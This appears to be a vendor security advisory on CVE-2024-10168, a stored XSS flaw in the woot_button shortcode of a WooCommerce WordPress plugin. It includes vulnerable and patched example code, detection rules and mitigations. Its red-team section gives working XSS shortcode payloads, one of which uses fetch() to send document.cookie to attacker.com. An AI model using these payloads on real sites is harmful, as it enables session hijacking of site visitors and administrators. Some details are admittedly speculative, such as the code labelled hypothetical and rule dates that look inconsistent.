CVE-2024-10168

Executive Summary

CVE-2024-10168 is a Stored Cross-Site Scripting (XSS) vulnerability in the Active Products Tables for WooCommerce WordPress plugin (versions up to and including 1.0.6.4). The flaw resides in the woot_button shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a page containing the malicious shortcode. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly into WordPress sites, and the risk is limited to sites where the plugin is active.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access but can lead to persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the woot_button shortcode handler. The plugin fails to properly sanitize user-supplied attributes (e.g., title, url, class) before outputting them in the generated HTML. An attacker with contributor-level access can create a post or page containing the shortcode with malicious JavaScript payloads in the attributes. When the shortcode is rendered, the payload is executed in the context of the victim's browser.

Root Cause: Insufficient input sanitization and output escaping on shortcode attributes. The plugin likely uses echo or print without applying WordPress escaping functions like esc_attr() or esc_html().

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Creates a new post/page and inserts the [woot_button] shortcode with malicious attributes.
3. Publishes the post/page.
4. Any user (including admins) visiting the page triggers the XSS payload.

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

function woot_button_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Click Me',
        'url' => '#',
    ), $atts);
    echo '<a href="' . $atts['url'] . '">' . $atts['title'] . '</a>';
}
add_shortcode('woot_button', 'woot_button_shortcode');

Patched Code (expected fix):

function woot_button_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => 'Click Me',
        'url' => '#',
    ), $atts);
    echo '<a href="' . esc_url($atts['url']) . '">' . esc_html($atts['title']) . '</a>';
}
add_shortcode('woot_button', 'woot_button_shortcode');

The patch applies esc_url() and esc_html() to sanitize output.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress site with Active Products Tables for WooCommerce <= 1.0.6.4
• Contributor-level account or higher

Exploit Steps:

1. Log in as a contributor.
2. Create a new post and switch to Text/Code editor.
3. Insert the following shortcode with a malicious payload:

   [woot_button title="<script>alert('XSS')</script>" url="javascript:alert('XSS')"]
   

4. Publish the post.
5. Visit the post as any user to trigger the XSS.

Advanced Payload (session hijacking):

[woot_button title="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>" url="#"]

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for posts/pages containing [woot_button] shortcode with suspicious attributes.
• Review user activity logs for contributor-level users creating posts with unusual shortcode usage.
• Use web application firewall (WAF) rules to block common XSS patterns in shortcode attributes.

Mitigation:

• Disable the plugin until a patch is applied.
• Restrict contributor-level users from using shortcodes via user role editor plugins.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/active-products-tables-for-woocommerce/ (presence of vulnerable version)
• Shortcode pattern: [woot_button title="<script>...</script>" ...]
• HTTP requests: POST requests to /wp-admin/post.php with post_content containing [woot_button and script tags.
• Log entries: WordPress debug log entries showing unescaped output from the plugin.

Detection Engineering

YARA Rule

rule CVE_2024_10168_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in WordPress posts"
        author = "Valters IT"
        date = "2024-10-01"
        reference = "CVE-2024-10168"
    strings:
        $shortcode = "[woot_button" nocase
        $script = /<script[^>]*>.*<\/script>/i
        $onerror = /onerror\s*=/i
        $onload = /onload\s*=/i
    condition:
        $shortcode and ($script or $onerror or $onload)
}

Sigma Rule

title: CVE-2024-10168 Stored XSS via woot_button Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of posts/pages containing malicious woot_button shortcode
author: Valters IT
date: 2024-10-01
logsource:
    category: application
    product: wordpress
detection:
    selection:
        post_content|contains: '[woot_button'
        post_content|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-10168 Stored XSS via woot_button Shortcode"; flow:to_server,established; content:"[woot_button"; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:20241001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Active Products Tables for WooCommerce plugin until a patched version is released.
2. Short-term: Restrict contributor-level users from using shortcodes via user role editor plugins (e.g., User Role Editor).
3. Long-term: Apply the vendor patch when available. Monitor the WordPress plugin repository for updates.
4. Compensating Controls: Implement a Web Application Firewall (WAF) with rules to block XSS payloads in shortcode attributes. Enforce Content Security Policy (CSP) headers to limit script execution.
5. Monitoring: Enable WordPress audit logging to track post/page creation and shortcode usage. Review logs for suspicious activity.

Valters IT
Securing Digital Frontiers